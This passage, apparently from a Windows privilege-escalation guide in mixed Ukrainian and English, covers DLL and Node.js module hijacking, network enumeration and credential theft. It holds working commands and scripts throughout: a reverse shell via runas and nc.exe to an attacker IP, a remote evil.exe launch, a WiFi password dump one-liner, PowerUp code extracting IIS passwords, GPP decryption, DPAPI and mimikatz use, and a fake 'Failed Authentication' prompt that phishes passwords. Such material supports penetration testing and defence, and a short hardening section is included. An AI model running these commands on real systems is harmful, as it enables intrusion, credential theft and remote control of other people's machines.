  • Примусово застосовуйте Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) і підтримуйте власні allow/deny lists.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Перевірте permissions усіх папок всередині PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Для отримання додаткової інформації про те, як зловживати цією перевіркою:

Writable Sys Path +Dll Hijacking Privesc

Node.js / Electron module resolution hijacking via C:\node_modules

Це варіант Windows uncontrolled search path, який впливає на застосунки Node.js і Electron, коли вони виконують bare import, наприклад require("foo"), а очікуваний module відсутній.

Node розв’язує packages, піднімаючись деревом директорій і перевіряючи папки node_modules у кожному батьківському каталозі. У Windows цей підйом може дійти до кореня диска, тож застосунок, запущений з C:\Users\Administrator\project\app.js, може в підсумку перевіряти:

  1. C:\Users\Administrator\project\node_modules\foo
  2. C:\Users\Administrator\node_modules\foo
  3. C:\Users\node_modules\foo
  4. C:\node_modules\foo

Якщо low-privileged user може створити C:\node_modules, він може розмістити шкідливий foo.js (або папку package) і чекати, доки higher-privileged Node/Electron process спробує розв’язати відсутню dependency. Payload виконується в security context процесу жертви, тож це стає LPE, якщо ціль запускається як administrator, із підвищеного scheduled task/service wrapper або з auto-started privileged desktop app.

Це особливо часто трапляється, коли:

  • dependency оголошено в optionalDependencies
  • стороння library обгортає require("foo") у try/catch і продовжує роботу після збою
  • package було видалено з production builds, пропущено під час packaging або не вдалося встановити
  • вразливий require() знаходиться глибоко в dependency tree, а не в основному коді application

Hunting vulnerable targets

Використовуйте Procmon, щоб підтвердити resolution path:

  • Filter by Process Name = target executable (node.exe, Electron app EXE або wrapper process)
  • Filter by Path contains node_modules
  • Зосередьтеся на NAME NOT FOUND і фінальному успішному відкритті в C:\node_modules

Корисні патерни code-review в розпакованих .asar файлах або application sources:

rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .

Експлуатація

  1. Визначте назву відсутнього пакета за допомогою Procmon або перегляду вихідного коду.
  2. Створіть root lookup directory, якщо він ще не існує:
mkdir C:\node_modules
  1. Drop a module with the exact expected name:
// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}
  1. Запустіть вразливий застосунок. Якщо застосунок намагається require("foo") і легітимний модуль відсутній, Node може завантажити C:\node_modules\foo.js.

Реальні приклади відсутніх optional modules, що підходять під цей шаблон, включають bluebird і utf-8-validate, але technique — це повторно використувана частина: знайдіть будь-який missing bare import, який привілейований Windows Node/Electron process буде resolve.

Detection and hardening ideas

  • Alert when a user creates C:\node_modules or writes new .js files/packages there.
  • Hunt for high-integrity processes reading from C:\node_modules\*.
  • Package all runtime dependencies in production and audit optionalDependencies usage.
  • Review third-party code for silent try { require("...") } catch {} patterns.
  • Disable optional probes when the library supports it (for example, some ws deployments can avoid the legacy utf-8-validate probe with WS_NO_UTF_8_VALIDATE=1).

Network

Shares

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Перевірте наявність інших відомих комп’ютерів, жорстко прописаних у hosts file

type C:\Windows\System32\drivers\etc\hosts

Мережеві інтерфейси та DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Відкриті порти

Перевірте restricted services ззовні

netstat -ano #Opened ports?

Таблиця маршрутизації

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Правила брандмауера

Перевірте цю сторінку для команд, пов’язаних із Firewall (list rules, create rules, turn off, turn off…)

More commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe також можна знайти в C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

If you get root user you can listen on any port (першого разу, коли ви використаєте nc.exe для прослуховування порту, з’явиться запит через GUI, чи слід дозволити nc через firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Щоб легко запустити bash як root, можна спробувати --default-user root

Ви можете дослідити файлову систему WSL у папці C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault зберігає облікові дані користувача для серверів, вебсайтів та інших програм, які Windows може автоматично виконувати вхід користувача. На перший погляд може здатися, що тепер користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб вони автоматично входили через браузери. Але це не так.

Windows Vault зберігає облікові дані, за якими Windows може автоматично входити користувача, що означає, що будь-яка Windows application that needs credentials to access a resource (сервер або вебсайт) can make use of this Credential Manager & Windows Vault і використовувати надані облікові дані замість того, щоб користувачі постійно вводили username та password.

Якщо applications не взаємодіють із Credential Manager, я не думаю, що вони можуть використовувати облікові дані для певного ресурсу. Тож, якщо ваш application хоче скористатися vault, він має якимось чином communicate with the credential manager and request the credentials for that resource зі стандартного storage vault.

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Потім ви можете використовувати runas з опцією /savecred, щоб використати збережені облікові дані. У наведеному нижче прикладі викликається віддалений binary через SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Використання runas з наданим набором облікових даних.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

Data Protection API (DPAPI) надає метод симетричного шифрування даних, який переважно використовується в операційній системі Windows для симетричного шифрування асиметричних private keys. Це шифрування використовує secret користувача або системи, щоб значно збільшити entropy.

DPAPI дає змогу шифрувати keys за допомогою симетричного key, похідного від login secrets користувача. У сценаріях, що стосуються system encryption, воно використовує domain authentication secrets системи.

Encrypted user RSA keys, за допомогою DPAPI, зберігаються в каталозі %APPDATA%\Microsoft\Protect\{SID}, де {SID} означає Security Identifier користувача. DPAPI key, що знаходиться поруч із master key, який захищає private keys користувача в тому самому файлі, зазвичай складається з 64 bytes random data. (Важливо зазначити, що доступ до цього каталогу обмежено, тому його вміст не можна переглядати через команду dir у CMD, хоча його можна перелічити через PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

You can use mimikatz module dpapi::masterkey with the appropriate arguments (/pvk or /rpc) to decrypt it.

The credentials files protected by the master password are usually located in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials часто використовуються для scripting і automation tasks як спосіб зручно зберігати encrypted credentials. The credentials are protected using DPAPI, що зазвичай означає, що їх can only be decrypted by the same user on the same computer they were created on.

To decrypt a PS credentials from the file containing it you can do:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Збережені RDP-з’єднання

Їх можна знайти в HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
і в HKCU\Software\Microsoft\Terminal Server Client\Servers\

Нещодавно виконані команди

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Перевірте, чи існує C:\Windows\CCM\SCClient.exe .
Інсталятори запускаються з привілеями SYSTEM, багато з них уразливі до DLL Sideloading (Info from https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Файли та Registry (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

SSH Host Keys у Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys can be stored inside the registry key HKCU\Software\OpenSSH\Agent\Keys тож слід перевірити, чи є там щось цікаве:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Якщо ви знайдете будь-який запис всередині цього шляху, це, ймовірно, збережений SSH key. Він зберігається зашифрованим, але його можна легко розшифрувати, використовуючи https://github.com/ropnop/windows_sshagent_extract.
Більше інформації про цю technique тут: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Якщо service ssh-agent не запущено і ви хочете, щоб він автоматично запускався під час boot, виконайте:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Схоже, ця техніка більше не є валідною. Я намагався створити кілька ssh keys, додати їх через ssh-add і увійти via ssh до machine. Registry HKCU\Software\OpenSSH\Agent\Keys не існує, і procmon не виявив використання dpapi.dll під час asymmetric key authentication.

Unattended files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Також ви можете шукати ці файли за допомогою metasploit: post/windows/gather/enum_unattend

Приклад вмісту:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Резервні копії SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud Credentials

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Шукайте файл під назвою SiteList.xml

Cached GPP Pasword

Раніше була доступна функція, яка дозволяла розгортання власних локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні проблеми з безпекою. По-перше, Group Policy Objects (GPOs), що зберігалися як XML-файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані з AES256 за допомогою публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.

Щоб зменшити цей ризик, було розроблено функцію для сканування локально кешованих GPP-файлів, що містять поле “cpassword”, яке не є порожнім. Після знаходження такого файла функція розшифровує пароль і повертає custom PowerShell object. Цей object містить деталі про GPP і розташування файла, що допомагає у виявленні та усуненні цієї вразливості безпеки.

Шукайте в C:\ProgramData\Microsoft\Group Policy\history або в C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (до W Vista) ці файли:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

To decrypt the cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Використання crackmapexec для отримання паролів:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Приклад web.config з credentials:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Облікові дані OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Логи

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Попросити credentials

Ви завжди можете попросити користувача ввести свої credentials або навіть credentials іншого користувача, якщо вважаєте, що він може їх знати (зверніть увагу, що просити клієнта напряму про credentials — це дуже ризиковано):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Можливі імена файлів, що містять credentials

Відомі файли, які колись містили passwords у clear-text або Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Знайдіть усі запропоновані файли:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Облікові дані в RecycleBin

Також слід перевірити Bin, щоб пошукати всередині нього облікові дані

Щоб відновити паролі, збережені кількома програмами, можна використати: http://www.nirsoft.net/password_recovery_tools.html

Усередині registry

Інші можливі registry keys з обліковими даними

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Витягніть openssh keys з registry.

Історія браузерів

Вам слід перевірити dbs, де зберігаються паролі з Chrome або Firefox.
Також перевірте історію, закладки та favourites браузерів, можливо, там збережені якісь passwords are.

Інструменти для витягування паролів із браузерів:

COM DLL Overwriting

Component Object Model (COM) — це технологія, вбудована в операційну систему Windows, яка дозволяє intercommunication між програмними компонентами різних мов. Кожен компонент COM ідентифікується через class ID (CLSID) і кожен компонент надає функціональність через один або кілька interfaces, ідентифікованих через interface IDs (IIDs).

Класи та interfaces COM визначені в registry під HKEY\CLASSES\ROOT\CLSID і HKEY\CLASSES\ROOT\Interface відповідно. Цей registry створюється шляхом об’єднання HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Усередині CLSID цього registry ви можете знайти дочірній registry InProcServer32, який містить default value, що вказує на DLL, і значення ThreadingModel, яке може бути Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) або Neutral (Thread Neutral).

По суті, якщо ви можете перезаписати будь-яку з DLLs, які будуть виконані, ви могли б escalate privileges, якщо ця DLL буде виконуватися іншим користувачем.

Щоб дізнатися, як attackers використовують COM Hijacking як механізм persistence, дивіться:

COM Hijacking

Generic Password search in files and registry

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Пошук файлу з певною назвою

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Пошук ключів і паролів у реєстрі

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools that search for passwords

MSF-Credentials Plugin is a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim.
Winpeas automatically search for all the files containing passwords mentioned in this page.
Lazagne is another great tool to extract password from a system.

The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Уявімо, що процес, що працює як SYSTEM, відкриває новий процес (OpenProcess()) з повним доступом. Той самий процес також створює новий процес (CreateProcess()) з низькими привілеями, але з успадкуванням усіх open handles головного процесу.
Тоді, якщо у вас є повний доступ до процесу з низькими привілеями, ви можете отримати open handle до привілейованого процесу, створеного за допомогою OpenProcess(), і inject shellcode.
Читайте цей приклад для отримання додаткової інформації про те, як виявити та експлуатувати цю вразливість.
Читайте цей інший пост для більш повного пояснення того, як тестувати та зловживати іншими open handlers процесів і потоків, успадкованими з різними рівнями дозволів (не лише full access).

Named Pipe Client Impersonation

Спільні сегменти пам’яті, які називаються pipes, забезпечують взаємодію процесів і передавання даних.

Windows надає функцію Named Pipes, яка дозволяє непов’язаним процесам обмінюватися даними, навіть у різних мережах. Це схоже на client/server architecture, де ролі визначені як named pipe server і named pipe client.

Коли дані надсилаються через pipe client-ом, server, який налаштував pipe, має змогу прийняти на себе identity client-а, якщо він має необхідні права SeImpersonate. Виявлення privileged process, який взаємодіє через pipe, що ви можете імітувати, дає можливість отримати вищі привілеї шляхом прийняття identity цього процесу після того, як він взаємодіє з pipe, який ви створили. Інструкції щодо виконання такої атаки можна знайти тут і тут.

Також цей інструмент дозволяє перехоплювати named pipe communication за допомогою інструмента на кшталт burp: https://github.com/gabriel-sztejnworcel/pipe-intercept а цей інструмент дозволяє перелічити й побачити всі pipes, щоб знайти privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Служба Telephony (TapiSrv) у server mode відкриває \\pipe\\tapsrv (MS-TRP). Віддалений автентифікований client може зловживати mailslot-based async event path, щоб перетворити ClientAttach на довільний 4-byte write до будь-якого наявного файла, доступного для запису NETWORK SERVICE, а потім отримати Telephony admin rights і завантажити довільний DLL як службу. Повний ланцюжок:

  • ClientAttach із pszDomainUser, встановленим на доступний для запису наявний шлях → служба відкриває його через CreateFileW(..., OPEN_EXISTING) і використовує для async event writes.
  • Кожна подія записує керований зловмисником InitContext з Initialize у той handle. Зареєструйте line app з LRegisterRequestRecipient (Req_Func 61), спровокуйте TRequestMakeCall (Req_Func 121), отримайте через GetAsyncEvents (Req_Func 0), а потім unregister/shutdown, щоб повторювати детерміновані записи.
  • Додайте себе до [TapiAdministrators] у C:\Windows\TAPI\tsec.ini, перепідключіться, а потім викличте GetUIDllName із довільним шляхом до DLL, щоб виконати TSPI_providerUIIdentify як NETWORK SERVICE.

Більше деталей:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

Перегляньте сторінку https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Клікабельні Markdown-посилання, передані до ShellExecuteExW, можуть запускати небезпечні URI handlers (file:, ms-appinstaller: або будь-яку зареєстровану scheme) і виконувати файли, керовані зловмисником, від імені поточного користувача. Дивіться:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Коли ви отримуєте shell як користувач, можуть існувати заплановані завдання або інші процеси, які виконуються та передають credentials у command line. Скрипт нижче збирає command lines процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Викрадення паролів з processes

Від Low Priv User до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Якщо у вас є доступ до графічного інтерфейсу (через console або RDP) і UAC увімкнено, у деяких версіях Microsoft Windows можна запустити terminal або будь-який інший process як “NT\AUTHORITY SYSTEM” з unprivileged user.

Це дає змогу підвищити privileges і обійти UAC одночасно за допомогою тієї самої vulnerability. Крім того, не потрібно нічого встановлювати, а binary, який використовується під час процесу, підписаний і виданий Microsoft.

Деякі з уражених систем такі:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
